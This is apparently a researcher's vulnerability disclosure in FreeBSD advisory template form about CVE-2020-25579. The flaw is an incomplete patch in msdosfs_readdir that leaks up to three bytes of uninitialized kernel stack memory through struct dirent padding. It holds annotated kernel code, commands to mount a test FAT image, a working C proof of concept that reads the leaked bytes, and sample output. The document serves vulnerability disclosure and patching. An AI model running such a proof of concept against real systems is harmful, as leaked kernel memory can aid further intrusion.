CVE-2020-25579.txt

=============================================================================
FreeBSD-SA-ADVISORY_TEMPLATE                                Security Advisory
                                                          The FreeBSD Project

Topic:          Kernel stack disclosure in MSDOSFS

Category:       core
Module:         Kernel
Announced:      2020-XX-XX
Credits:        Syed Faraz Abrar of elttam
Affects:        All supported versions of FreeBSD
Corrected:      2020-XX-XX XX:XX:XX UTC (stable/12, 12.2-STABLE)
                2020-XX-XX XX:XX:XX UTC (releng/12.2, 12.2-RELEASE-pXX)
                2020-XX-XX XX:XX:XX UTC (releng/12.1, 12.1-RELEASE-pXX)
                2020-XX-XX XX:XX:XX UTC (stable/11, 11.4-STABLE)
                2020-XX-XX XX:XX:XX UTC (releng/11.4, 11.4-RELEASE-pXX)
CVE Name:       CVE-XXXX-XXXX

For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit <URL:https://security.FreeBSD.org/>.

I.   Background

There exists an implementation of the Microsoft Disk Operating System File
System (MSDOSFS) in the FreeBSD kernel that is used whenever a compatible
MSDOSFS is mounted (for example, a USB drive with a FAT32 file system is
inserted into and mounted on a machine running FreeBSD).

II.  Problem Description

A bug causes up to three bytes of uninitialized kernel stack memory to be
returned to userland as uninitialized directory entry padding. This data can be
viewed by any user with read access to the directory.

III. Impact

Uninitialized kernel stack memory is disclosed to the userland.

IV.  Workaround

No workaround is available, but systems not using MSDOSFS are not affected.

V.   Details of the vulnerability

The bug exists in the `msdosfs_readdir` function in all supported versions of
FreeBSD that are currently available. I have only tested on releng/12.1 on
r368257, but the code is the same on the CURRENT version of FreeBSD.

In releng/12.1, r340970 backported a patch for a vulnerability reported by
Thomas Barabosch. This patch fixed a number of instances where the padding bytes
in a `struct dirent` object were leaking uninitialized kernel stack memory to
the userland.

Unfortunately, the patch for the `msdosfs_readdir` function is incomplete, as
shown below (my comments are marked with a `//!!`:

```
static int
msdosfs_readdir(struct vop_readdir_args *ap)
{
    // [ ... ]
	struct dirent dirbuf; // [ 1 ]
    // [ ... ]

    // [ ... ]

    //!! Initializes just the `d_name` field (last field in the struct)
	memset(dirbuf.d_name, 0, sizeof(dirbuf.d_name)); // [ 2 ]

    // [ ... ]

	/*
	 * If they are reading from the root directory then, we simulate
	 * the . and .. entries since these don't exist in the root
	 * directory.  We also set the offset bias to make up for having to
	 * simulate these entries. By this I mean that at file offset 64 we
	 * read the first entry in the root directory that lives on disk.
	 */
	if (dep->de_StartCluster == MSDOSFSROOT
	    || (FAT32(pmp) && dep->de_StartCluster == pmp->pm_rootdirblk)) {
        
        // [ ... ]
        dirent_terminate(&dirbuf); // [ 3 ]
        if (uio->uio_resid < dirbuf.d_reclen)
            goto out;
        error = uiomove(&dirbuf, dirbuf.d_reclen, uio);
        // [ ... ]
	}

	mbnambuf_init(&nb);
	off = offset;
	while (uio->uio_resid > 0) {

        // [ ... ]

		for (dentp = (struct direntry *)(bp->b_data + on);
		     (char *)dentp < bp->b_data + on + n;
		     dentp++, offset += sizeof(struct direntry)) {
        
            // [ ... ]

            //!! `dirbuf` is returned to user-space without being
            //!! fully initialized here
            error = uiomove(&dirbuf, dirbuf.d_reclen, uio); // [ 4 ]

            // [ ... ]
        }
        brelse(bp);
    }
    // [ ... ]
}   
```

Initially, a `struct dirent dirbuf` object is allocated on the stack at `[ 1 ]`.
Following this, its `d_name` field is zeroed out at `[ 2 ]` (which is good, as
otherwise the bug would have leaked a lot more memory.

The patch that was backported correctly fixed one instance of this bug in the
first if statement. The if statement branch is only taken if `readdir` is called
on the root of the MSDOS file system. Within this branch, a call to
`dirent_terminate` has been added at `[ 3 ]` which will zero out the padding
bytes and the remainder of the `d_name` field. Note that the `uiomove` function
will copy out the `struct dirent dirbuf` object's data back to the userland.

Unfortunately, the patch failed to account for a second instance of `uiomove`
that occurs after the if statement at `[ 4 ]`. 

We can easily bypass the if statement by calling `readdir` from any other part
of the MSDOS file system except the root. By doing so, when the `struct dirent
dirbuf` object's data is copied out to the userland, the padding bytes will leak
three bytes of uninitialized kernel stack memory.

The `dirent` structure can be seen below:

```
struct dirent {                                                                 
    ino_t      d_fileno;        /* file number of entry */                      
    off_t      d_off;       /* directory offset of entry */                     
    __uint16_t d_reclen;        /* length of this record */                     
    __uint8_t  d_type;      /* file type, see below */                          
    __uint8_t  d_pad0;                                                          
    __uint16_t d_namlen;        /* length of string in d_name */                
    __uint16_t d_pad1;                                                          
#if __BSD_VISIBLE                                                               
#define MAXNAMLEN   255                                                         
    char    d_name[MAXNAMLEN + 1];  /* name must be no longer than this */      
#else                                                                           
    char    d_name[255 + 1];    /* name must be no longer than this */          
#endif                                                                          
};
```

VI.  Proof of Concept

First, a compatible MSDOS file system needs to be mounted. Note that the
following steps to mount an MSDOS file system will require root privileges, but
the vulnerability itself can be triggered by any user. A system may already have
an MSDOS file system mounted, or it might support auto mounting of external
drives that are formatted to use an MSDOS file system.

The following commands will mount an MSDOS file system in the current directory,
and then create a directory called `test_dir` within the mounted file system:

```
$ dd if=/dev/zero of=test.img bs=512 count=256000
$ sudo mdconfig -a -t vnode -f test.img # Returns md0
$ sudo newfs_msdos -s 131072000 /dev/md0
$ mkdir ./temp
$ sudo mount -t msdosfs /dev/md0 ./temp
$ mkdir ./temp/test_dir
```

Then, the proof of concept code below will demonstrate the vulnerability. Simply
compile with `clang poc.c`, and run with `./a.out` from the same directory as
the mounted file system:

```
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    struct dirent *dp;
    DIR *dirp;

    while (1) {
        dirp = opendir("./temp/test_dir");
        if (dirp == NULL) {
            perror("opendir");
            exit(1);
        }

        dp = readdir(dirp);

        if (dp->d_pad0 != 0 && dp->d_pad1 != 0) {
            printf("Leaked bytes:\n");
            printf("%x\n", dp->d_pad0); // Uninitialized
            printf("%x\n", dp->d_pad1); // Uninitialized
        }

        (void)closedir(dirp);
    }
}
```

Output:

```
$ ./a.out 
Leaked bytes:
80
8077
Leaked bytes:
81
ffff
Leaked bytes:
5
ffff
Leaked bytes:
81
ffff
Leaked bytes:
a3
ffff
```